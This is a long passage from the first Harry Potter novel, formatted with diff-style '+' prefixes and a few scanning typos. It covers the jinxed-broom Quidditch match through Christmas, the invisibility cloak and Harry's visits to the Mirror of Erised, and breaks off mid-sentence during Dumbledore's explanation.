+that's Chaser Katie Bell of Gryffindor there, nice dive around Flint, +off up the field and -- OUCH -- that must have hurt, hit in the back of +the head by a Bludger -- Quaffle taken by the Slytherins -- that's +Adrian Pucey speeding off toward the goal posts, but he's blocked by a +second Bludger -- sent his way by Fred or George Weasley, can't tell +which -- nice play by the Gryffindor Beater, anyway, and Johnson back in +possession of the Quaffle, a clear field ahead and off she goes -- she's +really flying -- dodges a speeding Bludger -- the goal posts are ahead +-- come on, now, Angelina -- Keeper Bletchley dives -- misses -- +GRYFFINDORS SCORE!" + +Gryffindor cheers filled the cold air, with howls and moans from the +Slytherins. + +"Budge up there, move along." + +"Hagrid!" + +Ron and Hermione squeezed together to give Hagrid enough space to join +them. + +"Bin watchin' from me hut," said Hagrid, patting a large pair of +binoculars around his neck, "But it isn't the same as bein' in the +crowd. No sign of the Snitch yet, eh?" + +"Nope," said Ron. "Harry hasn't had much to do yet." + +"Kept outta trouble, though, that's somethin'," said Hagrid, raising his +binoculars and peering skyward at the speck that was Harry. + +Way up above them, Harry was gliding over the game, squinting about for +some sign of the Snitch. This was part of his and Wood's game plan. + +"Keep out of the way until you catch sight of the Snitch," Wood had +said. "We don't want you attacked before you have to be." + +When Angelina had scored, Harry had done a couple of loop-the-loops to +let off his feelings. Now he was back to staring around for the Snitch. +Once he caught sight of a flash of gold, but it was just a reflection +from one of the Weasleys' wristwatches, and once a Bludger decided to +come pelting his way, more like a cannonball than anything, but Harry +dodged it and Fred Weasley came chasing after it. + +"All right there, Harry?" he had time to yell, as he beat the Bludger +furiously toward Marcus Flint. + +"Slytherin in possession," Lee Jordan was saying, "Chaser Pucey ducks +two Bludgers, two Weasleys, and Chaser Bell, and speeds toward the -- +wait a moment -- was that the Snitch?" + +A murmur ran through the crowd as Adrian Pucey dropped the Quaffle, too +busy looking over his shoulder at the flash of gold that had passed his +left ear. + +Harry saw it. In a great rush of excitement he dived downward after the +streak of gold. Slytherin Seeker Terence Higgs had seen it, too. Neck +and neck they hurtled toward the Snitch -all the Chasers seemed to have +forgotten what they were supposed to be doing as they hung in midair to +watch. + +Harry was faster than Higgs -- he could see the little round ball, wings +fluttering, darting up ahead - - he put on an extra spurt of speed -- + +WHAM! A roar of rage echoed from the Gryffindors below -- Marcus Flint +had blocked Harry on purpose, and Harry's broom spun off course, Harry +holding on for dear life. + +"Foul!" screamed the Gryffindors. + +Madam Hooch spoke angrily to Flint and then ordered a free shot at the +goal posts for Gryffindor. But in all the confusion, of course, the +Golden Snitch had disappeared from sight again. + +Down in the stands, Dean Thomas was yelling, "Send him off, ref! Red +card!" + +"What are you talking about, Dean?" said Ron. + +"Red card!" said Dean furiously. "In soccer you get shown the red card +and you're out of the game!" + +"But this isn't soccer, Dean," Ron reminded him. + +Hagrid, however, was on Dean's side. + +"They oughta change the rules. Flint coulda knocked Harry outta the +air." + +Lee Jordan was finding it difficult not to take sides. + +"So -- after that obvious and disgusting bit of cheating + +"Jordan!" growled Professor McGonagall. + +"I mean, after that open and revolting foul + +'Jordan, I'm warning you --" + +"All right, all right. Flint nearly kills the Gryffindor Seeker, which +could happen to anyone, I'm sure, so a penalty to Gryffindor, taken by +Spinner, who puts it away, no trouble, and we continue play, Gryffindor +still in possession." + +It was as Harry dodged another Bludger, which went spinning dangerously +past his head, that it happened. His broom gave a sudden, frightening +lurch. For a split second, he thought he was going to fall. He gripped +the broom tightly with both his hands and knees. He'd never felt +anything like that. + +It happened again. It was as though the broom was trying to buck him +off. But Nimbus Two Thousands did not suddenly decide to buck their +riders off. Harry tried to turn back toward the Gryffindor goal- posts +-- he had half a mind to ask Wood to call time-out -- and then he +realized that his broom was completely out of his control. He couldn't +turn it. He couldn't direct it at all. It was zigzagging through the +air, and every now and then making violent swishing movements that +almost unseated him. + +Lee was still commentating. + +"Slytherin in possession -- Flint with the Quaffle -- passes Spinnet -- +passes Bell -- hit hard in the face by a Bludger, hope it broke his nose +-- only joking, Professor -- Slytherins score -- A no... + +The Slytherins were cheering. No one seemed to have noticed that Harry's +broom was behaving strangely. It was carrying- him slowly higher, away +from the game, jerking and twitching as it went. + +"Dunno what Harry thinks he's doing," Hagrid mumbled. He stared through +his binoculars. "If I didn' know better, I'd say he'd lost control of +his broom... but he can't have...." + +Suddenly, people were pointing up at Harry all over the stands. His +broom had started to roll over and over, with him only just managing to +hold on. Then the whole crowd gasped. Harry's broom had given a wild +jerk and Harry swung off it. He was now dangling from it, holding on +with only one hand. + +"Did something happen to it when Flint blocked him?" Seamus whispered. + +"Can't have," Hagrid said, his voice shaking. "Can't nothing interfere +with a broomstick except powerful Dark magic -- no kid could do that to +a Nimbus Two Thousand." + +At these words, Hermione seized Hagrid's binoculars, but instead of +looking up at Harry, she started looking frantically at the crowd. + +"What are you doing?" moaned Ron, gray-faced. + +"I knew it," Hermione gasped, "Snape -- look." + +Ron grabbed the binoculars. Snape was in the middle of the stands +opposite them. He had his eyes fixed on Harry and was muttering nonstop +under his breath. + +"He's doing something -- jinxing the broom," said Hermione. + +"What should we do?" + +"Leave it to me." + +Before Ron could say another word, Hermione had disappeared. Ron turned +the binoculars back on Harry. His broom was vibrating so hard, it was +almost impossible for him to hang on much longer. The whole crowd was on +its feet, watching, terrified, as the Weasleys flew up to try and pull +Harry safely onto one of their brooms, but it was no good -- every time +they got near him, the broom would jump higher still. They dropped lower +and circled beneath him, obviously hoping to catch him if he fell. +Marcus + +Flint seized the Quaffle and scored five times without anyone noticing. + +"Come on, Hermione," Ron muttered desperately. + +Hermione had fought her way across to the stand where Snape stood, and +was now racing along the row behind him; she didn't even stop to say +sorry as she knocked Professor Quirrell headfirst into the row in front. +Reaching Snape, she crouched down, pulled out her wand, and whispered a +few, well- chosen words. Bright blue flames shot from her wand onto the +hem of Snape's robes. + +It took perhaps thirty seconds for Snape to realize that he was on fire. +A sudden yelp told her she had done her job. Scooping the fire off him +into a little jar in her pocket, she scrambled back along the row -- +Snape would never know what had happened. + +It was enough. Up in the air, Harry was suddenly able to clamber back on +to his broom. + +"Neville, you can look!" Ron said. Neville had been sobbing into +Hagrid's jacket for the last five minutes. + +Harry was speeding toward the ground when the crowd saw him clap his +hand to his mouth as though he was about to be sick -- he hit the field +on all fours -- coughed -- and something gold fell into his hand. + +"I've got the Snitch!" he shouted, waving it above his head, and the +game ended in complete confusion. + +"He didn't catch it, he nearly swallowed it," Flint was still howling +twenty minutes later, but it made no difference -- Harry hadn't broken +any rules and Lee Jordan was still happily shouting the results -- +Gryffindor had won by one hundred and seventy points to sixty. Harry +heard none of this, though. He was being made a cup of strong tea back +in Hagrid's hut, with Ron and Hermione. + +"It was Snape," Ron was explaining, "Hermione and I saw him. He was +cursing your broomstick, muttering, he wouldn't take his eyes off you." + +"Rubbish," said Hagrid, who hadn't heard a word of what had gone on next +to him in the stands. "Why would Snape do somethin' like that?" + +Harry, Ron, and Hermione looked at one another, wondering what to tell +him. Harry decided on the truth. + +"I found out something about him," he told Hagrid. "He tried to get past +that three-headed dog on Halloween. It bit him. We think he was trying +to steal whatever it's guarding." + +Hagrid dropped the teapot. + +"How do you know about Fluffy?" he said. + +"Fluffy?" + +"Yeah -- he's mine -- bought him off a Greek chappie I met in the pub +las' year -- I lent him to Dumbledore to guard the + +"Yes?" said Harry eagerly. + +"Now, don't ask me anymore," said Hagrid gruffly. "That's top secret, +that is." + +"But Snape's trying to steal it." + +"Rubbish," said Hagrid again. "Snape's a Hogwarts teacher, he'd do +nothin' of the sort." + +"So why did he just try and kill Harry?" cried Hermione. + +The afternoon's events certainly seemed to have changed her mind about +Snape. + +I know a jinx when I see one, Hagrid, I've read all about them! + +You've got to keep eye contact, and Snape wasn't blinking at all, I saw +him!" + +"I'm tellin' yeh, yer wrong!" said Hagrid hotly. "I don' know why +Harry's broom acted like that, but Snape wouldn' try an' kill a student! +Now, listen to me, all three of yeh -- yer meddlin' in things that don' +concern yeh. It's dangerous. You forget that dog, an' you forget what +it's guardin', that's between Professor Dumbledore an' Nicolas Flamel +--" + +"Aha!" said Harry, "so there's someone called Nicolas Flamel involved, +is there?" + +Hagrid looked furious with himself. + + +CHAPTER TWELVE + +THE MIRROR OF ERISED + +Christmas was coming. One morning in mid-December, Hogwarts woke to find +itself covered in several feet of snow. The lake froze solid and the +Weasley twins were punished for bewitching several snowballs so that +they followed Quirrell around, bouncing off the back of his turban. The +few owls that managed to battle their way through the stormy sky to +deliver mail had to be nursed back to health by Hagrid before they could +fly off again. + +No one could wait for the holidays to start. While the Gryffindor common +room and the Great Hall had roaring fires, the drafty corridors had +become icy and a bitter wind rattled the windows in the classrooms. +Worst of all were Professor Snape's classes down in the dungeons, where +their breath rose in a mist before them and they kept as close as +possible to their hot cauldrons. + +"I do feel so sorry," said Draco Malfoy, one Potions class, "for all +those people who have to stay at Hogwarts for Christmas because they're +not wanted at home." + +He was looking over at Harry as he spoke. Crabbe and Goyle chuckled. +Harry, who was measuring out powdered spine of lionfish, ignored them. +Malfoy had been even more unpleasant than usual since the Quidditch +match. Disgusted that the Slytherins had lost, he had tried to get +everyone laughing at how a wide-mouthed tree frog would be replacing +Harry as Seeker next. Then he'd realized that nobody found this funny, +because they were all so impressed at the way Harry had managed to stay +on his bucking broomstick. So Malfoy, jealous and angry, had gone back +to taunting Harry about having no proper family. + +It was true that Harry wasn't going back to Privet Drive for Christmas. +Professor McGonagall had come around the week before, making a list of +students who would be staying for the holidays, and Harry had signed up +at once. He didn't feel sorry for himself at all; this would probably be +the best Christmas he'd ever had. Ron and his brothers were staying, +too, because Mr. and Mrs. Weasley were going to Romania to visit +Charlie. + +When they left the dungeons at the end of Potions, they found a large +fir tree blocking the corridor ahead. Two enormous feet sticking out at +the bottom and a loud puffing sound told them that Hagrid was behind it. + +"Hi, Hagrid, want any help?" Ron asked, sticking his head through the +branches. + +"Nah, I'm all right, thanks, Ron." + +"Would you mind moving out of the way?" came Malfoys cold drawl from +behind them. "Are you trying to earn some extra money, Weasley? Hoping +to be gamekeeper yourself when you leave Hogwarts, I suppose -- that hut +of Hagrid's must seem like a palace compared to what your family's used +to." + +Ron dived at Malfoy just as Snape came up the stairs. + +"WEASLEY!" + +Ron let go of the front of Malfoy's robes. + +"He was provoked, Professor Snape," said Hagrid, sticking his huge hairy +face out from behind the tree. "Malfoy was insultin' his family." + +"Be that as it may, fighting is against Hogwarts rules, Hagrid," said +Snape silkily. "Five points from Gryffindor, Weasley, and be grateful it +isn't more. Move along, all of you." + +Malfoy, Crabbe, and Goyle pushed roughly past the tree, scattering +needles everywhere and smirking. + +"I'll get him," said Ron, grinding his teeth at Malfoy's back, "one of +these days, I'll get him --" + +"I hate them both," said Harry, "Malfoy and Snape." + +"Come on, cheer up, it's nearly Christmas," said Hagrid. "Tell yeh what, +come with me an' see the Great Hall, looks a treat." + +So the three of them followed Hagrid and his tree off to -the Great +Hall, where Professor McGonagall and Professor Flitwick were busy with +the Christmas decorations. + +"Ah, Hagrid, the last tree -- put it in the far corner, would you?" + +The hall looked spectacular. Festoons of holly and mistletoe hung all +around the walls, and no less than twelve towering Christmas trees stood +around the room, some sparkling with tiny icicles, some glittering with +hundreds of candles. + +"How many days you got left until yer holidays?" Hagrid asked. + +"Just one," said Hermione. "And that reminds me -Harry, Ron, we've got +half an hour before lunch, we should be in the library." + +"Oh yeah, you're right," said Ron, tearing his eyes away from Professor +Flitwick, who had golden bubbles blossoming out of his wand and was +trailing them over the branches of the new tree. + +"The library?" said Hagrid, following them out of the hall. "Just before +the holidays? Bit keen, aren't yeh?" + +"Oh, we're not working," Harry told him brightly. "Ever since you +mentioned Nicolas Flamel we've been trying to find out who he is." + +"You what?" Hagrid looked shocked. "Listen here -- I've told yeh -- drop +it. It's nothin' to you what that dog's guardin'." + +"We just want to know who Nicolas Flamel is, that's all," said Hermione. + +"Unless you'd like to tell us and save us the trouble?" Harry added. "We +must've been through hundreds of books already and we can't find him +anywhere -- just give us a hint -- I know I've read his name somewhere." + +"I'm sayin' nothin, said Hagrid flatly. + +"Just have to find out for ourselves, then," said Ron, and they left +Hagrid looking disgruntled and hurried off to the library. + +They had indeed been searching books for Flamel's name ever since Hagrid +had let it slip, because how else were they going to find out what Snape +was trying to steal? The trouble was, it was very hard to know where to +begin, not knowing what Flamel might have done to get himself into a +book. He wasn't in Great Wizards of the Twentieth Century, or Notable +Magical Names of Our Time; he was missing, too, from Important Modern +Magical Discoveries, and A Study of Recent Developments in Wizardry. And +then, of course, there was the sheer size of the library; tens of +thousands of books; thousands of shelves; hundreds of narrow rows. + +Hermione took out a list of subjects and titles she had decided to +search while Ron strode off down a row of books and started pulling them +off the shelves at random. Harry wandered over to the Restricted +Section. He had been wondering for a while if Flamel wasn't somewhere in +there. Unfortunately, you needed a specially signed note from one of the +teachers to look in any of the restricted books, and he knew he'd never +get one. These were the books containing powerful Dark Magic never +taught at Hogwarts, and only read by older students studying advanced +Defense Against the Dark Arts. + +"What are you looking for, boy?" + +"Nothing," said Harry. + +Madam Pince the librarian brandished a feather duster at him. + +"You'd better get out, then. Go on -- out!" + +Wishing he'd been a bit quicker at thinking up some story, Harry left +the library. He, Ron, and Hermione had already agreed they'd better not +ask Madam Pince where they could find Flamel. They were sure she'd be +able to tell them, but they couldn't risk Snape hearing what they were +up to. + +Harry waited outside in the corridor to see if the other two had found +anything, but he wasn't very hopeful. They had been looking for two +weeks, after A, but as they only had odd moments between lessons it +wasn't surprising they'd found nothing. What they really needed was a +nice long search without Madam Pince breathing down their necks. + +Five minutes later, Ron and Hermione joined him, shaking their heads. +They went off to lunch. + +"You will keep looking while I'm away, won't you?" said Hermione. "And +send me an owl if you find anything." + +"And you could ask your parents if they know who Flamel is," said Ron. +"It'd be safe to ask them." + +"Very safe, as they're both dentists," said Hermione. + +Once the holidays had started, Ron and Harry were having too good a time +to think much about Flamel. They had the dormitory to themselves and the +common room was far emptier than usual, so they were able to get the +good armchairs by the fire. They sat by the hour eating anything they +could spear on a toasting fork -- bread, English muffins, marshmallows +-- and plotting ways of getting Malfoy expelled, which were fun to talk +about even if they wouldn't work. + +Ron also started teaching Harry wizard chess. This was exactly like +Muggle chess except that the figures were alive, which made it a lot +like directing troops in battle. Ron's set was very old and battered. +Like everything else he owned, it had once belonged to someone else in +his family -- in this case, his grandfather. However, old chessmen +weren't a drawback at all. Ron knew them so well he never had trouble +getting them to do what he wanted. + +Harry played with chessmen Seamus Finnigan had lent him, and they didn't +trust him at all. He wasn't a very good player yet and they kept +shouting different bits of advice at him, which was confusing. "Don't +send me there, can't you see his knight? Send him, we can afford to lose +him." On Christmas Eve, Harry went to bed looking forward to the next +day for the food and the fun, but not expecting any presents at all. +When he woke early in the morning, however, the first thing he saw was a +small pile of packages at the foot of his bed. + +"Merry Christmas," said Ron sleepily as Harry scrambled out of bed and +pulled on his bathrobe. + +"You, too," said Harry. "Will you look at this? I've got some presents!" + +"What did you expect, turnips?" said Ron, turning to his own pile, which +was a lot bigger than Harry's. + +Harry picked up the top parcel. It was wrapped in thick brown paper and +scrawled across it was To Harry, from Hagrid. Inside was a roughly cut +wooden flute. Hagrid had obviously whittled it himself. Harry blew it -- +it sounded a bit like an owl. + +A second, very small parcel contained a note. + +We received your message and enclose your Christmas present. From Uncle +Vernon and Aunt Petunia. Taped to the note was a fifty-pence piece. + +"That's friendly," said Harry. + +Ron was fascinated by the fifty pence. + +"Weird!" he said, 'NMat a shape! This is money?" + +"You can keep it," said Harry, laughing at how pleased Ron was. "Hagrid +and my aunt and uncle -- so who sent these?" + +"I think I know who that one's from," said Ron, turning a bit pink and +pointing to a very lumpy parcel. "My mom. I told her you didn't expect +any presents and -- oh, no," he groaned, "she's made you a Weasley +sweater." + +Harry had torn open the parcel to find a thick, hand-knitted sweater in +emerald green and a large box of homemade fudge. + +"Every year she makes us a sweater," said Ron, unwrapping his own, "and +mine's always maroon." + +"That's really nice of her," said Harry, trying the fudge, which was +very tasty. + +His next present also contained candy -- a large box of Chocolate Frogs +from Hermione. + +This only left one parcel. Harry picked it up and felt it. It was very +light. He unwrapped it. + +Something fluid and silvery gray went slithering to the floor where it +lay in gleaming folds. Ron gasped. + +"I've heard of those," he said in a hushed voice, dropping the box of +Every Flavor Beans he'd gotten from Hermione. "If that's what I think it +is -- they're really rare, and really valuable." + +"What is it?" + +Harry picked the shining, silvery cloth off the floor. It was strange to +the touch, like water woven into material. + +"It's an invisibility cloak," said Ron, a look of awe on his face. "I'm +sure it is -- try it on." + +Harry threw the cloak around his shoulders and Ron gave a yell. + +"It is! Look down!" + +Harry looked down at his feet, but they were gone. He dashed to the +mirror. Sure enough, his reflection looked back at him, just his head +suspended in midair, his body completely invisible. He pulled the cloak +over his head and his reflection vanished completely. + +"There's a note!" said Ron suddenly. "A note fell out of it!" + +Harry pulled off the cloak and seized the letter. Written in narrow, +loopy writing he had never seen before were the following words: Your +father left this in my possession before he died. It is time it was +returned to you. Use it well. + +A Very Merry Christmas to you. + + +There was no signature. Harry stared at the note. Ron was admiring the +cloak. + +"I'd give anything for one of these," he said. "Anything. What's the +matter?" + +"Nothing," said Harry. He felt very strange. Who had sent the cloak? Had +it really once belonged to his father? + +Before he could say or think anything else, the dormitory door was flung +open and Fred and George Weasley bounded in. Harry stuffed the cloak +quickly out of sight. He didn't feel like sharing it with anyone else +yet. + +"Merry Christmas!" + +"Hey, look -- Harry's got a Weasley sweater, too!" + +Fred and George were wearing blue sweaters, one with a large yellow F on +it, the other a G. + +"Harry's is better than ours, though," said Fred, holding up Harry's +sweater. "She obviously makes more of an effort if you're not family." + +"Why aren't you wearing yours, Ron?" George demanded. "Come on, get it +on, they're lovely and warm." + +"I hate maroon," Ron moaned halfheartedly as he pulled it over his head. + +"You haven't got a letter on yours," George observed. "I suppose she +thinks you don't forget your name. But we're not stupid -- we know we're +called Gred and Forge." + +"What's all th is noise. + +Percy Weasley stuck his head through the door, looking disapproving. He +had clearly gotten halfway through unwrapping his presents as he, too, +carried a lumpy sweater over his arm, which + +Fred seized. + +"P for prefect! Get it on, Percy, come on, we're all wearing ours, even +Harry got one." + +"I -- don't -- want said Percy thickly, as the twins forced the sweater +over his head, knocking his glasses askew. + +"And you're not sitting with the prefects today, either," said + +George. "Christmas is a time for family." + +They frog-marched Percy from the room, his arms pinned to his side by +his sweater. + +Harry had never in all his life had such a Christmas dinner. A hundred +fat, roast turkeys; mountains of roast and boiled potatoes; platters of +chipolatas; tureens of buttered peas, silver boats of thick, rich gravy +and cranberry sauce -- and stacks of wizard crackers every few feet +along the table. These fantastic party favors were nothing like the +feeble Muggle ones the Dursleys usually bought, with their little +plastic toys and their flimsy paper hats inside. Harry pulled a wizard +cracker with Fred and it didn't just bang, it went off with a blast like +a cannon and engulfed them all in a cloud of blue smoke, while from the +inside exploded a rear admiral's hat and several live, white mice. Up at +the High Table, Dumbledore had swapped his pointed wizard's hat for a +flowered bonnet, and was chuckling merrily at a joke Professor Flitwick +had just read him. + +Flaming Christmas puddings followed the turkey. Percy nearly broke his +teeth on a silver sickle embedded in his slice. Harry watched Hagrid +getting redder and redder in the face as he called for more wine, +finally kissing Professor McGonagall on the cheek, who, to Harry's +amazement, giggled and blushed, her top hat lopsided. + +When Harry finally left the table, he was laden down with a stack of +things out of the crackers, including a pack of nonexplodable, luminous +balloons, a Grow-Your-Own-Warts kit, and his own new wizard chess set. +The white mice had disappeared and Harry had a nasty feeling they were +going to end up as Mrs. Norris's Christmas dinner. + +Harry and the Weasleys spent a happy afternoon having a furious snowball +fight on the grounds. Then, cold, wet, and gasping for breath, they +returned to the fire in the Gryffindor common room, where Harry broke in +his new chess set by losing spectacularly to Ron. He suspected he +wouldn't have lost so badly if Percy hadn't tried to help him so much. + +After a meal of turkey sandwiches, crumpets, trifle, and Christmas cake, +everyone felt too full and sleepy to do much before bed except sit and +watch Percy chase Fred and George all over Gryffindor tower because +they'd stolen his prefect badge. + +It had been Harry's best Christmas day ever. Yet something had been +nagging at the back of his mind all day. Not until he climbed into bed +was he free to think about it: the invisibility cloak and whoever had +sent it. + +Ron, full of turkey and cake and with nothing mysterious to bother him, +fell asleep almost as soon as he'd drawn the curtains of his +four-poster. Harry leaned over the side of his own bed and pulled the +cloak out from under it. + +His father's... this had been his father's. He let the material flow +over his hands, smoother than silk, light as air. Use it well, the note +had said. + +He had to try it, now. He slipped out of bed and wrapped the cloak +around himself. Looking down at his legs, he saw only moonlight and +shadows. It was a very funny feeling. + +Use it well. + +Suddenly, Harry felt wide-awake. The whole of Hogwarts was open to him +in this cloak. Excitement flooded through him as he stood there in the +dark and silence. He could go anywhere in this, anywhere, and Filch +would never know. + +Ron grunted in his sleep. Should Harry wake him? Something held him back +-- his father's cloak -- he felt that this time -- the first time -- he +wanted to use it alone. + +He crept out of the dormitory, down the stairs, across the common room, +and climbed through the portrait hole. + +"Who's there?" squawked the Fat Lady. Harry said nothing. He walked +quickly down the corridor. + +Where should he go? He stopped, his heart racing, and thought. And then +it came to him. The Restricted Section in the library. He'd be able to +read as long as he liked, as long as it took to find out who Flamel was. +He set off, drawing the invisibility cloak tight around him as he +walked. + +The library was pitch-black and very eerie. Harry lit a lamp to see his +way along the rows of books. The lamp looked as if it was floating along +in midair, and even though Harry could feel his arm supporting it, the +sight gave him the creeps. + +The Restricted Section was right at the back of the library. Step ping +carefully over the rope that separated these books from the rest of the +library, he held up his lamp to read the titles. + +They didn't tell him much. Their peeling, faded gold letters spelled +words in languages Harry couldn't understand. Some had no title at all. +One book had a dark stain on it that looked horribly like blood. The +hairs on the back of Harry's neck prickled. Maybe he was imagining it, +maybe not, but he thought a faint whispering was coming from the books, +as though they knew someone was there who shouldn't be. + +He had to start somewhere. Setting the lamp down carefully on the floor, +he looked along the bottom shelf for an interestinglooking book. A large +black and silver volume caught his eye. He pulled it out with +difficulty, because it was very heavy, and, balancing it on his knee, +let it fall open. + +A piercing, bloodcurdling shriek split the silence -- the book was +screaming! Harry snapped it shut, but the shriek went on and on, one +high, unbroken, earsplitting note. He stumbled backward and knocked over +his lamp, which went out at once. Panicking, he heard footsteps coming +down the corridor outside -- stuffing the shrieking book back on the +shelf, he ran for it. He passed Filch in the doorway; Filch's pale, wild +eyes looked straight through him, and Harry slipped under Filch's +outstretched arm and streaked off up the corridor, the book's shrieks +still ringing in his ears. + +He came to a sudden halt in front of a tall suit of armor. He had been +so busy getting away from the library, he hadn't paid attention to where +he was going. Perhaps because it was dark, he didn't recognize where he +was at all. There was a suit of armor near the kitchens, he knew, but he +must be five floors above there. + +"You asked me to come directly to you, Professor, if anyone was +wandering around at night, and somebody's been in the library Restricted +Section." + +Harry felt the blood drain out of his face. Wherever he was, Filch must +know a shortcut, because his soft, greasy voice was getting nearer, and +to his horror, it was Snape who replied, "The Restricted Section? Well, +they can't be far, we'll catch them." + +Harry stood rooted to the spot as Filch and Snape came around the corner +ahead. They couldn't see him, of course, but it was a narrow corridor +and if they came much nearer they'd knock right into him -- the cloak +didn't stop him from being solid. + +He backed away as quietly as he could. A door stood ajar to his left. It +was his only hope. He squeezed through it, holding his breath, trying +not to move it, and to his relief he managed to get inside the room +without their noticing anything. They walked straight past, and Harry +leaned against the wall, breathing deeply, listening to their footsteps +dying away. That had been close, very close. It was a few seconds before +he noticed anything about the room he had hidden in. + +It looked like an unused classroom. The dark shapes of desks and chairs +were piled against the walls, and there was an upturned wastepaper +basket -- but propped against the wall facing him was something that +didn't look as if it belonged there, something that looked as if someone +had just put it there to keep it out of the way. + +It was a magnificent mirror, as high as the ceiling, with an ornate gold +frame, standing on two clawed feet. There was an inscription carved +around the top: Erised stra ehru oyt ube cafru oyt on wohsi. His panic +fading now that there was no sound of Filch and Snape, Harry moved +nearer to the mirror, wanting to look at himself but see no reflection +again. He stepped in front of it. + +He had to clap his hands to his mouth to stop himself from screaming. He +whirled around. His heart was pounding far more furiously than when the +book had screamed -- for he had seen not only himself in the mirror, but +a whole crowd of people standing right behind him. + +But the room was empty. Breathing very fast, he turned slowly back to +the mirror. + +There he was, reflected in it, white and scared-looking, and there, +reflected behind him, were at least ten others. Harry looked over his +shoulder -- but still, no one was there. Or were they all invisible, +too? Was he in fact in a room full of invisible people and this mirror's +trick was that it reflected them, invisible or not? + +He looked in the mirror again. A woman standing right behind his +reflection was smiling at him and waving. He reached out a hand and felt +the air behind him. If she was really there, he'd touch her, their +reflections were so close together, but he felt only air -- she and the +others existed only in the mirror. + +She was a very pretty woman. She had dark red hair and her eyes -- her +eyes are just like mine, Harry thought, edging a little closer to the +glass. Bright green -- exactly the same shape, but then he noticed that +she was crying; smiling, but crying at the same time. The tall, thin, +black-haired man standing next to her put his arm around her. He wore +glasses, and his hair was very untidy. It stuck up at the back, just as +Harry's did. + +Harry was so close to the mirror now that his nose was nearly touching +that of his reflection. + +"Mom?" he whispered. "Dad?" + +They just looked at him, smiling. And slowly, Harry looked into the +faces of the other people in the mirror, and saw other pairs of green +eyes like his, other noses like his, even a little old man who looked as +though he had Harry's knobbly knees -- Harry was looking at his family, +for the first time in his life. + +The Potters smiled and waved at Harry and he stared hungrily back at +them, his hands pressed flat against the glass as though he was hoping +to fall right through it and reach them. He had a powerful kind of ache +inside him, half joy, half terrible sadness. + +How long he stood there, he didn't know. The reflections did not fade +and he looked and looked until a distant noise brought him back to his +senses. He couldn't stay here, he had to find his way back to bed. He +tore his eyes away from his mother's face, whispered, "I'll come back," +and hurried from the room. + +"You could have woken me up," said Ron, crossly. + +"You can come tonight, I'm going back, I want to show you the mirror. + +"I'd like to see your mom and dad," Ron said eagerly. + +"And I want to see all your family, all the Weasleys, you'll be able to +show me your other brothers and everyone." + +"You can see them any old time," said Ron. "Just come round my house +this summer. Anyway, maybe it only shows dead people. Shame about not +finding Flamel, though. Have some bacon or something, why aren't you +eating anything?" + +Harry couldn't eat. He had seen his parents and would be seeing them +again tonight. He had almost forgotten about Flamel. It didn't seem very +important anymore. Who cared what the three headed dog was guarding? +What did it matter if Snape stole it, really? + +"Are you all right?" said Ron. "You look odd." + +What Harry feared most was that he might not be able to find the mirror +room again. With Ron covered in the cloak, too, they had to walk much +more slowly the next night. They tried retracing Harry's route from the +library, wandering around the dark passageways for nearly an hour. + +"I'm freezing," said Ron. "Let's forget it and go back." + +"No!" Harry hissed. I know it's here somewhere." + +They passed the ghost of a tall witch gliding in the opposite direction, +but saw no one else. just as Ron started moaning that his feet were dead +with cold, Harry spotted the suit of armor. + +"It's here -- just here -- yes!" + +They pushed the door open. Harry dropped the cloak from around his +shoulders and ran to the mirror. + +There they were. His mother and father beamed at the sight of him. + +"See?" Harry whispered. + +"I can't see anything." + +"Look! Look at them all... there are loads of them...." + +"I can only see you." + +"Look in it properly, go on, stand where I am." + +Harry stepped aside, but with Ron in front of the mirror, he couldn't +see his family anymore, just Ron in his paisley pajamas. + +Ron, though, was staring transfixed at his image. + +"Look at me!" he said. + +"Can you see all your family standing around you?" + +"No -- I'm alone -- but I'm different -- I look older -- and I'm head +boy!" + +"What?" + +"I am -- I'm wearing the badge like Bill used to -- and I'm holding the +house cup and the Quidditch cup -- I'm Quidditch captain, too. + +Ron tore his eyes away from this splendid sight to look excitedly at +Harry. + +"Do you think this mirror shows the future?" + +"How can it? All my family are dead -- let me have another look --" + +"You had it to yourself all last night, give me a bit more time." + +"You're only holding the Quidditch cup, what's interesting about that? I +want to see my parents." + +"Don't push me --" + +A sudden noise outside in the corridor put an end to their discussion. +They hadn't realized how loudly they had been talking. + +"Quick!" + +Ron threw the cloak back over them as the luminous eyes of Mrs. Norris +came round the door. Ron and Harry stood quite still, both thinking the +same thing -- did the cloak work on cats? After what seemed an age, she +turned and left. + +"This isn't safe -- she might have gone for Filch, I bet she heard us. +Come on." + +And Ron pulled Harry out of the room. + +The snow still hadn't melted the next morning. + +"Want to play chess, Harry?" said Ron. + +"No." + +"Why don't we go down and visit Hagrid?" + +"No... you go..." + +"I know what you're thinking about, Harry, that mirror. Don't go back +tonight." + +"Why not?" + +"I dunno, I've just got a bad feeling about it -- and anyway, you've had +too many close shaves already. Filch, Snape, and Mrs. Norris are +wandering around. So what if they can't see you? What if they walk into +you? What if you knock something over?" + +"You sound like Hermione." + +"I'm serious, Harry, don't go." + +But Harry only had one thought in his head, which was to get back in +front of the mirror, and Ron wasn't going to stop him. + +That third night he found his way more quickly than before. He was +walking so fast he knew he was making more noise than was wise, but he +didn't meet anyone. + +And there were his mother and father smiling at him again, and one of +his grandfathers nodding happily. Harry sank down to sit on the floor in +front of the mirror. There was nothing to stop him from staying here all +night with his family. Nothing at all. + +Except -- + +"So -- back again, Harry?" + +Harry felt as though his insides had turned to ice. He looked behind +him. Sitting on one of the desks by the wall was none other than Albus +Dumbledore. Harry must have walked straight past him, so desperate to +get to the mirror he hadn't noticed him. + +" -- I didn't see you, sir." + +"Strange how nearsighted being invisible can make you," said Dumbledore, +and Harry was relieved to see that he was smiling. + +"So," said Dumbledore, slipping off the desk to sit on the floor with +Harry, "you, like hundreds before you, have discovered the delights of +the Mirror of Erised." + +"I didn't know it was called that, Sir." + +"But I expect you've realized by now what it does?" + +"It -- well -- it shows me my family --" + +"And it showed your friend Ron himself as head boy." + +"How did you know --?" + +"I don't need a cloak to become invisible," said Dumbledore gently. +"Now, can you think what the Mirror of Erised shows us all?" + +Harry shook his head. + +"Let me explain. The happiest man on earth would be able to use the +Mirror of Erised like a normal mirror, that is, he would look into it +and see himself exactly as he is. Does that help?" + +Harry thought. Then he said slowly, "It shows us what we want... +whatever we want..." + +"Yes and no," said Dumbledore quietly. "It shows us nothing more or less +than the deepest, most desperate desire of our hearts. You, who have +never known your family, see them standing around you. Ronald Weasley, +who has always been overshadowed by his brothers, sees himself standing +alone, the best of all of them. However, this mirror will give us +neither knowledge or truth. Men have wasted away before it, entranced by +what they have seen, or been driven mad, not knowing if what it shows is +real or even 